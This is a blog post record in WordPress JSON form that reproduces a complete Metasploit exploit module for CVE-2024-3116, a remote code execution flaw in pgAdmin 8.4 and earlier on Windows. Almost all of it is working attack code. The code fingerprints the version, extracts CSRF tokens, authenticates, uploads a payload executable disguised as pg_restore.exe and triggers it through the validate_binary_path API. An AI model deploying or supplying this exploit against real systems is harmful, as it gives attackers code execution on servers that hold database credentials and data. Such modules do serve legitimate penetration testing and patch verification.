{"id":59228,"date":"2024-08-29T19:59:33","date_gmt":"2024-08-29T16:59:33","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/180464\/pgadmin_binary_path_api.rb.txt"},"modified":"2024-08-29T19:59:33","modified_gmt":"2024-08-29T16:59:33","slug":"pgadmin-8-4-remote-code-execution","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/pgadmin-8-4-remote-code-execution\/","title":{"rendered":"pgAdmin 8.4 Remote Code Execution"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>class MetasploitModule &lt; Msf::Exploit::Remote<br \/>Rank = ExcellentRanking<\/p>\n<p>prepend Msf::Exploit::Remote::AutoCheck<br \/>include Msf::Exploit::Remote::HttpClient<br \/>include Msf::Exploit::FileDropper<br \/>include Msf::Exploit::EXE<\/p>\n<p>def initialize(info = {})<br \/>super(<br \/>update_info(<br \/>info,<br \/>&#8216;Name&#8217; =&gt; &#8216;pgAdmin Binary Path API RCE&#8217;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>pgAdmin &lt;= 8.4 is affected by a Remote Code Execution (RCE)<br \/>vulnerability through the validate binary path API. This vulnerability<br \/>allows attackers to execute arbitrary code on the server hosting PGAdmin,<br \/>posing a severe risk to the database management system&#8217;s integrity and the security of the underlying data.<\/p>\n<p>Tested on pgAdmin 8.4 on Windows 10 both authenticated and unauthenticated.<br \/>},<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>&#8216;Author&#8217; =&gt; [<br \/>&#8216;M.Selim Karahan&#8217;, # metasploit module<br \/>&#8216;Mustafa Mutlu&#8217;, # lab prep. and QA<br \/>&#8216;Ayoub Mokhtar&#8217; # vulnerability discovery and write up<br \/>],<br \/>&#8216;References&#8217; =&gt; [<br \/>[ &#8216;CVE&#8217;, &#8216;2024-3116&#8217;],<br \/>[ &#8216;URL&#8217;, &#8216;https:\/\/ayoubmokhtar.com\/post\/remote_code_execution_pgadmin_8.4-cve-2024-3116\/&#8217;],<br \/>[ &#8216;URL&#8217;, &#8216;https:\/\/www.vicarius.io\/vsociety\/posts\/remote-code-execution-vulnerability-in-pgadmin-cve-2024-3116&#8217;]],<br \/>&#8216;Platform&#8217; =&gt; [&#8216;windows&#8217;],<br \/>&#8216;Arch&#8217; =&gt; ARCH_X64,<br \/>&#8216;Targets&#8217; =&gt; [<br \/>[ &#8216;Automatic Target&#8217;, {}]],<br \/>&#8216;DisclosureDate&#8217; =&gt; &#8216;2024-03-28&#8217;,<br \/>&#8216;DefaultTarget&#8217; =&gt; 0,<br \/>&#8216;Notes&#8217; =&gt; {<br \/>&#8216;Stability&#8217; =&gt; [ CRASH_SAFE, ],<br \/>&#8216;Reliability&#8217; =&gt; [ REPEATABLE_SESSION, ],<br \/>&#8216;SideEffects&#8217; =&gt; [ ARTIFACTS_ON_DISK, CONFIG_CHANGES, IOC_IN_LOGS, ]}<br \/>)<br \/>)<br \/>register_options(<br \/>[<br \/>Opt::RPORT(8000),<br \/>OptString.new(&#8216;USERNAME&#8217;, [ false, &#8216;User to login with&#8217;, &#8221;]),<br \/>OptString.new(&#8216;PASSWORD&#8217;, [ false, &#8216;Password to login with&#8217;, &#8221;]),<br \/>OptString.new(&#8216;TARGETURI&#8217;, [ true, &#8216;The URI of the Example Application&#8217;, &#8216;\/&#8217;])<br \/>])<br \/>end<\/p>\n<p>def check<br \/>version = get_version<br \/>return CheckCode::Unknown(&#8216;Unable to determine the target version&#8217;) unless version<br \/>return CheckCode::Safe(&#8220;pgAdmin version #{version} is not affected&#8221;) if version &gt;= Rex::Version.new(&#8216;8.5&#8217;)<\/p>\n<p>CheckCode::Vulnerable(&#8220;pgAdmin version #{version} is affected&#8221;)<br \/>end<\/p>\n<p>def set_csrf_token_from_login_page(res)<br \/>if res&amp;.code == 200 &amp;&amp; res.body =~ \/csrfToken&#8221;: &#8220;([\\w+.-]+)&#8221;\/<br \/>@csrf_token = Regexp.last_match(1)<br \/># at some point between v7.0 and 7.7 the token format changed<br \/>elsif (element = res.get_html_document.xpath(&#8220;\/\/input[@id=&#8217;csrf_token&#8217;]&#8221;)&amp;.first)<br \/>@csrf_token = element[&#8216;value&#8217;]end<br \/>end<\/p>\n<p>def set_csrf_token_from_config(res)<br \/>if res&amp;.code == 200 &amp;&amp; res.body =~ \/csrfToken&#8221;: &#8220;([\\w+.-]+)&#8221;\/<br \/>@csrf_token = Regexp.last_match(1)<br \/># at some point between v7.0 and 7.7 the token format changed<br \/>else<br \/>@csrf_token = res.body.scan(\/pgAdmin\\[&#8216;csrf_token&#8217;\\]\\s*=\\s*'([^&#8217;]+)&#8217;\/)&amp;.flatten&amp;.first<br \/>end<br \/>end<\/p>\n<p>def auth_required?<br \/>res = send_request_cgi(&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path), &#8216;keep_cookies&#8217; =&gt; true)<br \/>if res&amp;.code == 302 &amp;&amp; res.headers[&#8216;Location&#8217;][&#8216;login&#8217;]true<br \/>elsif res&amp;.code == 302 &amp;&amp; res.headers[&#8216;Location&#8217;][&#8216;browser&#8217;]false<br \/>end<br \/>end<\/p>\n<p>def on_windows?<br \/>res = send_request_cgi(&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;browser\/js\/utils.js&#8217;), &#8216;keep_cookies&#8217; =&gt; true)<br \/>if res&amp;.code == 200<br \/>platform = res.body.scan(\/pgAdmin\\[&#8216;platform&#8217;\\]\\s*=\\s*'([^&#8217;]+)&#8217;;\/)&amp;.flatten&amp;.first<br \/>return platform == &#8216;win32&#8217;<br \/>end<br \/>end<\/p>\n<p>def get_version<br \/>if auth_required?<br \/>res = send_request_cgi(&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;login&#8217;), &#8216;keep_cookies&#8217; =&gt; true)<br \/>else<br \/>res = send_request_cgi(&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;browser\/&#8217;), &#8216;keep_cookies&#8217; =&gt; true)<br \/>end<br \/>html_document = res&amp;.get_html_document<br \/>return unless html_document &amp;&amp; html_document.xpath(&#8216;\/\/title&#8217;).text == &#8216;pgAdmin 4&#8217;<\/p>\n<p># there&#8217;s multiple links in the HTML that expose the version number in the [X]XYYZZ,<br \/># see: https:\/\/github.com\/pgadmin-org\/pgadmin4\/blob\/053b1e3d693db987d1c947e1cb34daf842e387b7\/web\/version.py#L27<br \/>versioned_link = html_document.xpath(&#8216;\/\/link&#8217;).find { |link| link[&#8216;href&#8217;] =~ \/\\?ver=(\\d?\\d)(\\d\\d)(\\d\\d)\/ }<br \/>return unless versioned_link<\/p>\n<p>Rex::Version.new(&#8220;#{Regexp.last_match(1).to_i}.#{Regexp.last_match(2).to_i}.#{Regexp.last_match(3).to_i}&#8221;)<br \/>end<\/p>\n<p>def csrf_token<br \/>return @csrf_token if @csrf_token<\/p>\n<p>if auth_required?<br \/>res = send_request_cgi(&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;login&#8217;), &#8216;keep_cookies&#8217; =&gt; true)<br \/>set_csrf_token_from_login_page(res)<br \/>else<br \/>res = send_request_cgi(&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;browser\/js\/utils.js&#8217;), &#8216;keep_cookies&#8217; =&gt; true)<br \/>set_csrf_token_from_config(res)<br \/>end<br \/>fail_with(Failure::UnexpectedReply, &#8216;Failed to obtain the CSRF token&#8217;) unless @csrf_token<br \/>@csrf_token<br \/>end<\/p>\n<p>def exploit<br \/>if auth_required? &amp;&amp; !(datastore[&#8216;USERNAME&#8217;].present? &amp;&amp; datastore[&#8216;PASSWORD&#8217;].present?)<br \/>fail_with(Failure::BadConfig, &#8216;The application requires authentication, please provide valid credentials&#8217;)<br \/>end<\/p>\n<p>if auth_required?<br \/>res = send_request_cgi({<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;authenticate\/login&#8217;),<br \/>&#8216;method&#8217; =&gt; &#8216;POST&#8217;,<br \/>&#8216;keep_cookies&#8217; =&gt; true,<br \/>&#8216;vars_post&#8217; =&gt; {<br \/>&#8216;csrf_token&#8217; =&gt; csrf_token,<br \/>&#8217;email&#8217; =&gt; datastore[&#8216;USERNAME&#8217;],<br \/>&#8216;password&#8217; =&gt; datastore[&#8216;PASSWORD&#8217;],<br \/>&#8216;language&#8217; =&gt; &#8216;en&#8217;,<br \/>&#8216;internal_button&#8217; =&gt; &#8216;Login&#8217;<br \/>}<br \/>})<\/p>\n<p>unless res&amp;.code == 302 &amp;&amp; res.headers[&#8216;Location&#8217;] != normalize_uri(target_uri.path, &#8216;login&#8217;)<br \/>fail_with(Failure::NoAccess, &#8216;Failed to authenticate to pgAdmin&#8217;)<br \/>end<\/p>\n<p>print_status(&#8216;Successfully authenticated to pgAdmin&#8217;)<br \/>end<\/p>\n<p>unless on_windows?<br \/>fail_with(Failure::BadConfig, &#8216;This exploit is specific to Windows targets!&#8217;)<br \/>end<br \/>file_name = &#8216;pg_restore.exe&#8217;<br \/>file_manager_upload_and_trigger(file_name, generate_payload_exe)<br \/>rescue ::Rex::ConnectionError<br \/>fail_with(Failure::Unreachable, &#8220;#{peer} &#8211; Could not connect to the web service&#8221;)<br \/>end<\/p>\n<p># file manager code is copied from pgadmin_session_deserialization module<\/p>\n<p>def file_manager_init<br \/>res = send_request_cgi({<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;file_manager\/init&#8217;),<br \/>&#8216;method&#8217; =&gt; &#8216;POST&#8217;,<br \/>&#8216;keep_cookies&#8217; =&gt; true,<br \/>&#8216;ctype&#8217; =&gt; &#8216;application\/json&#8217;,<br \/>&#8216;headers&#8217; =&gt; { &#8216;X-pgA-CSRFToken&#8217; =&gt; csrf_token },<br \/>&#8216;data&#8217; =&gt; {<br \/>&#8216;dialog_type&#8217; =&gt; &#8216;storage_dialog&#8217;,<br \/>&#8216;supported_types&#8217; =&gt; [&#8216;sql&#8217;, &#8216;csv&#8217;, &#8216;json&#8217;, &#8216;*&#8217;],<br \/>&#8216;dialog_title&#8217; =&gt; &#8216;Storage Manager&#8217;<br \/>}.to_json<br \/>})<\/p>\n<p>unless res&amp;.code == 200 &amp;&amp; (trans_id = res.get_json_document.dig(&#8216;data&#8217;, &#8216;transId&#8217;)) &amp;&amp; (home_folder = res.get_json_document.dig(&#8216;data&#8217;, &#8216;options&#8217;, &#8216;homedir&#8217;))<br \/>fail_with(Failure::UnexpectedReply, &#8216;Failed to initialize a file manager transaction Id or home folder&#8217;)<br \/>end<\/p>\n<p>return trans_id, home_folder<br \/>end<\/p>\n<p>def file_manager_upload_and_trigger(file_path, file_contents)<br \/>trans_id, home_folder = file_manager_init<\/p>\n<p>form = Rex::MIME::Message.new<br \/>form.add_part(<br \/>file_contents,<br \/>&#8216;application\/octet-stream&#8217;,<br \/>&#8216;binary&#8217;,<br \/>&#8220;form-data; name=\\&#8221;newfile\\&#8221;; filename=\\&#8221;#{file_path}\\&#8221;&#8221;<br \/>)<br \/>form.add_part(&#8216;add&#8217;, nil, nil, &#8216;form-data; name=&#8221;mode&#8221;&#8216;)<br \/>form.add_part(home_folder, nil, nil, &#8216;form-data; name=&#8221;currentpath&#8221;&#8216;)<br \/>form.add_part(&#8216;my_storage&#8217;, nil, nil, &#8216;form-data; name=&#8221;storage_folder&#8221;&#8216;)<\/p>\n<p>res = send_request_cgi({<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8220;\/file_manager\/filemanager\/#{trans_id}\/&#8221;),<br \/>&#8216;method&#8217; =&gt; &#8216;POST&#8217;,<br \/>&#8216;keep_cookies&#8217; =&gt; true,<br \/>&#8216;ctype&#8217; =&gt; &#8220;multipart\/form-data; boundary=#{form.bound}&#8221;,<br \/>&#8216;headers&#8217; =&gt; { &#8216;X-pgA-CSRFToken&#8217; =&gt; csrf_token },<br \/>&#8216;data&#8217; =&gt; form.to_s<br \/>})<br \/>unless res&amp;.code == 200 &amp;&amp; res.get_json_document[&#8216;success&#8217;] == 1<br \/>fail_with(Failure::UnexpectedReply, &#8216;Failed to upload file contents&#8217;)<br \/>end<\/p>\n<p>upload_path = res.get_json_document.dig(&#8216;data&#8217;, &#8216;result&#8217;, &#8216;Name&#8217;)<br \/>register_file_for_cleanup(upload_path)<br \/>print_status(&#8220;Payload uploaded to: #{upload_path}&#8221;)<\/p>\n<p>send_request_cgi({<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;\/misc\/validate_binary_path&#8217;),<br \/>&#8216;method&#8217; =&gt; &#8216;POST&#8217;,<br \/>&#8216;keep_cookies&#8217; =&gt; true,<br \/>&#8216;ctype&#8217; =&gt; &#8216;application\/json&#8217;,<br \/>&#8216;headers&#8217; =&gt; { &#8216;X-pgA-CSRFToken&#8217; =&gt; csrf_token },<br \/>&#8216;data&#8217; =&gt; {<br \/>&#8216;utility_path&#8217; =&gt; upload_path[0..upload_path.size &#8211; 16]}.to_json<br \/>})<\/p>\n<p>true<br \/>end<\/p>\n<p>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule &lt; Msf::Exploit::RemoteRank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheckinclude Msf::Exploit::Remote::HttpClientinclude Msf::Exploit::FileDropperinclude Msf::Exploit::EXE def initialize(info = {})super(update_info(info,&#8216;Name&#8217; =&gt; &#8216;pgAdmin Binary Path API RCE&#8217;,&#8216;Description&#8217; =&gt; %q{pgAdmin &lt;= 8.4 is affected by a Remote Code Execution (RCE)vulnerability through the validate binary path API. This vulnerabilityallows attackers to execute arbitrary code &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59228","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59228","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59228"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59228\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59228"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59228"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59228"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}